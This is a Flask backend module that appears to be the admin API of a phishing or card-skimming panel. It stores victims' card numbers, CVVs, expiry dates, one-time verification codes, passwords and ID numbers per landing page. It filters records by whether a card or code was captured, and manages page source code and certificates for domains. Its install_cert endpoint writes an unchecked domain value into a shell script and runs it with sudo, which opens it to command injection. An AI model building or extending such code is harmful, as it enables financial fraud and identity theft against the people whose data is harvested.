# coding:utf-8

import logging
import os
import re
import subprocess
from datetime import datetime, timedelta

from flask import jsonify
from flask import request
from sqlalchemy import func, distinct

from .. import db
from ..base import base
from ..models.SourceCodeInfo import SourceCodeInfo
from ..models.UserInformation import UserInformation

logging.basicConfig(level=logging.INFO, format='%(asctime)s - %(name)s - %(levelname)s - %(message)s')
logger = logging.getLogger(__name__)


@base.route('/userInfo/updateUserInfoByUniqueCode', methods=['POST'])
def updateUserInfoByUniqueCode(data):
    if not data or 'unique_code' not in data:
        return jsonify({'updateUserInfoByUniqueCode|error': 'Invalid input, "unique_code" is required.'}), 400
    try:
        # 查找现有记录，使用 unique_code 进行判断
        existing_user_info = UserInformation.query.filter_by(unique_code=data['unique_code']).first()

        if not existing_user_info:
            logger.info(f"updateUserInfoByUniqueCode|新增数据:{data}")
            # 如果记录不存在，创建新记录
            new_user_info = UserInformation(
                page_url=data.get('page_url'),
                type=data.get('type', 0),
                status=data.get('status', 0),
                email=data.get('email'),
                first_name=data.get('first_name'),
                last_name=data.get('last_name'),
                phone_number=data.get('phone_number'),
                country=data.get('country'),
                region=data.get('region'),
                city=data.get('city'),
                postal_code=data.get('postal_code'),
                street=data.get('street'),
                street_number=data.get('street_number'),
                home_address=data.get('home_address'),
                cardholder_name=data.get('cardholder_name'),
                card_number=data.get('card_number'),
                expiry_date=data.get('expiry_date'),
                cvv=data.get('cvv'),
                verification_code=data.get('verification_code'),
                content=data.get('content'),
                unique_code=data['unique_code'],
                user_ip=data.get('user_ip'),
                id_type=data.get('id_type'),
                user_password=data.get('user_password'),
                id_number=data.get('id_number'),
                ua=data.get('ua')
            )
            db.session.add(new_user_info)
            db.session.commit()
            return new_user_info.id
        else:
            logger.info(f"updateUserInfoByUniqueCode|变更数据:{data}")
            # 更新现有记录
            # 仅更新传入字段不为空的字段
            for key, value in data.items():
                if value is not None and key != 'unique_code':
                    setattr(existing_user_info, key, value)
            # 提交更新
            db.session.commit()
            return existing_user_info.id
    except Exception as e:
        db.session.rollback()  # 回滚事务
        logger.error("updateUserInfoByUniqueCode|保存会员信息到数据库发生异常：", str(e))
        return 0


@base.route('/userInfo/queryUserInfoHistoryDateList', methods=['GET'])
def queryUserInfoHistoryDateList():
    try:
        user_ip = request.args.get('user_ip')
        ua = request.args.get('ua')
        page_url = request.args.get('page_url')
        card_number = request.args.get('card_number')
        start_time = request.args.get('start_time')
        end_time = request.args.get('end_time')
        verificationTag = request.args.get('verificationTag')
        cardNumberTag = request.args.get('cardNumberTag')
        page = request.args.get('page', 0, type=int)  # 页码，默认为第1页
        per_page = request.args.get('per_page', 30, type=int)  # 每页记录数，默认为10条

        # 构建查询
        query = UserInformation.query

        # 模糊查询条件
        if ua:
            query = query.filter(UserInformation.ua.like(f"%{ua}%"))
        if user_ip:
            query = query.filter(UserInformation.user_ip.like(f"%{user_ip}%"))
        if page_url:
            query = query.filter(UserInformation.page_url.like(f"%{page_url}%"))
        if card_number:
            query = query.filter(UserInformation.card_number.like(f"%{card_number}%"))

        # 验证码条件：仅在 verificationTag 传入且为 'true' 时添加筛选
        if verificationTag and verificationTag.lower() == 'true':
            query = query.filter(UserInformation.verification_code.isnot(None))

        # 仅填卡条件：仅在 cardNumberTag 传入且为 'true' 时添加筛选
        if cardNumberTag and cardNumberTag.lower() == 'true':
            query = query.filter(UserInformation.card_number.isnot(None))

        # 时间范围查询条件
        if start_time and end_time:
            query = query.filter(UserInformation.create_time.between(start_time, end_time))
        elif start_time:
            query = query.filter(UserInformation.create_time >= start_time)
        elif end_time:
            query = query.filter(UserInformation.create_time <= end_time)

        # 执行查询并返回结果
        # 排序和分页
        query = query.order_by(UserInformation.id.desc())  # 按照 降序排序
        paginated_query = query.paginate(page=page, per_page=per_page, error_out=False)
        # 执行查询并返回结果
        # 将查询结果转换为字典列表，包含所有字段
        results_list = [user.to_json() for user in paginated_query.items]

        return jsonify({
            'total': paginated_query.total,
            'pages': paginated_query.pages,
            'current_page': paginated_query.page,
            'per_page': paginated_query.per_page,
            'results': results_list
        }), 200
    except Exception as e:
        logger.error("queryUserInfoHistoryDateList|查询历史数据服务异常：", str(e))
        return jsonify({'error': 'An error occurred while queryUserInfoHistoryDateList the page'}), 500


@base.route('/userInfo/globalOverview', methods=['GET'])
def calculate_daily_visits():
    # 获取当前时间和5天前的时间
    now = datetime.now()
    five_days_ago = now - timedelta(days=4)  # 包含当天在内的5天，起始点是4天前

    # 获取可选的 page_url 参数
    page_url = request.args.get('page_url', None)

    # 创建查询对象
    query = db.session.query(
        func.date(UserInformation.update_time).label('date'),
        func.count(distinct(UserInformation.id)).label('visit_count')
    ).filter(
        UserInformation.update_time >= five_days_ago
    )

    # 如果传入了 page_url 参数，则按该值过滤
    if page_url:
        query = query.filter(UserInformation.page_url == page_url)

    # 按日期分组，并按升序排序
    query = query.group_by(
        func.date(UserInformation.update_time)
    ).order_by(
        func.date(UserInformation.update_time).asc()
    )

    # 执行查询
    daily_visits = query.all()

    # 创建查询对象以获取总记录数，基于 page_url 过滤
    total_query = db.session.query(func.count(UserInformation.id))

    if page_url:
        total_query = total_query.filter(UserInformation.page_url == page_url)

    # 获取基于 page_url 的总记录数
    total_records = total_query.scalar()

    # 将结果转换为JSON格式
    result = {str(day.date): day.visit_count for day in daily_visits}

    # 获取今天的日期 (格式化为 'YYYY-MM-DD')
    today_date = now.strftime('%Y-%m-%d')

    # 从 result 中获取今天的访问量，如果没有则为 0
    today_count = result.get(today_date, 0)
    return jsonify({
        "visits_list": result,
        "total_count": total_records,
        "today_count": today_count
    }), 200


@base.route('/userInfo/distinctPageUrls', methods=['GET'])
def get_distinct_page_urls():
    # 查询所有去重的 page_url
    distinct_page_urls = db.session.query(
        distinct(UserInformation.page_url)
    ).filter(UserInformation.page_url.isnot(None)).all()

    # 将结果转换为JSON格式
    result = [url[0] for url in distinct_page_urls]

    return jsonify(result), 200


@base.route('/sourceCodes/list', methods=['GET'])
def search_source_code_info():
    # 获取查询参数
    source_info = request.args.get('source_info')
    number = request.args.get('number')
    status = request.args.get('status')
    domain_url = request.args.get('domain_url')
    # 基础查询对象
    query = SourceCodeInfo.query

    if number:
        query = query.filter(SourceCodeInfo.number.like(f"%{number}%"))
    # 如果提供了 source_info，则使用模糊查询
    if source_info:
        query = query.filter(SourceCodeInfo.source_info.like(f"%{source_info}%"))
    if domain_url:
        query = query.filter(SourceCodeInfo.domain_url.like(f"%{domain_url}%"))
    # 如果提供了 status，则过滤
    if status is not None:
        query = query.filter_by(status=int(status))

    # 按 id 倒序排序
    source_codes = query.order_by(SourceCodeInfo.id.desc()).all()

    # 如果没有找到数据，返回空列表
    if not source_codes:
        return jsonify([])

    # 将每个记录转换为 JSON 格式
    result = [source_code.to_json() for source_code in source_codes]

    return jsonify(result)


@base.route('/sourceCodes/createOrUpdateSourceCode', methods=['POST'])
def create_or_update():
    data = request.json
    logger.info(f"create_or_update|请求信息:{data}")
    if not data:
        return jsonify({'error': 'Invalid input, "id" is required.'}), 400
    """
    如果id存在则更新记录，如果id不存在则创建新记录，返回记录的id
    :param data: 包含更新字段的字典
    :return: 记录的id
    """
    record_id = data.get('id')
    if record_id:
        record = SourceCodeInfo.query.filter_by(id=data.get('id')).first()
        # 更新已有记录
        for key, value in data.items():
            setattr(record, key, value)
        db.session.commit()
        return jsonify({'id': record.id})
    else:
        # 创建新记录
        new_record = SourceCodeInfo(**data)
        db.session.add(new_record)
        db.session.commit()
        return jsonify({'id': new_record.id})


@base.route('/sourceCode/getSourceInfoById', methods=['GET'])
def getSourceInfoById():
    record_id = request.args.get('id')
    logger.info(f"getSourceInfoById|请求ID:{record_id}")
    # 查询数据库
    record = SourceCodeInfo.query.filter_by(id=record_id).first()
    if record:
        return jsonify(record.to_json()), 200
    else:
        return jsonify({'error': 'No record found'}), 404

@base.route('/sourceCode/installCert', methods=['GET'])
def install_cert():
    domain = request.args.get('domain')
    logger.info(f"install_cert|安装证书:{domain}")
    try:
        # 验证域名格式
        if not domain or '.' not in domain:
            return jsonify({
                'success': False,
                'message': '无效的域名格式',
                'domain': domain
            }), 200

        # 脚本文件路径
        root_dir = os.getcwd()
        script_name = 'installCertbot.sh'
        script_path = os.path.join(root_dir, script_name)  # 确保这是正确的路径

        # 读取文件内容
        with open(script_path, 'r') as f:
            content = f.read()

        # 使用正则表达式替换域名
        new_content = re.sub(
            r'DOMAIN="[^"]*"',  # 匹配 DOMAIN="任何内容"
            f'DOMAIN="{domain}"',  # 替换为新域名
            content
        )

        # 写回文件
        with open(script_path, 'w') as f:
            f.write(new_content)

        # 添加执行权限并执行脚本
        try:
            # 添加执行权限
            subprocess.run(['chmod', '+x', script_path], check=True)

            # 执行脚本
            result = subprocess.run(['sudo', './' + script_path],
                                    capture_output=True,
                                    text=True)

            if result.returncode == 0:
                return jsonify({
                    'success': True,
                    'message': f'证书安装成功: {domain}',
                    'output': result.stdout
                })
            else:
                return jsonify({
                    'success': False,
                    'message': '执行安装失败',
                    'output': result.stderr,
                    'domain': domain
                }), 200

        except subprocess.CalledProcessError as e:
            logger.error(f"install_cert|CalledProcessError安装证书服务异常:{e}")
            return jsonify({
                'success': False,
                'message': f'脚本执行失败: {str(e)}',
                'output': e.output if hasattr(e, 'output') else None
            }), 200

    except Exception as e:
        logger.error(f"install_cert|安装证书服务异常:{e}")
        return jsonify({
            'success': False,
            'message': str(e)
        }), 200
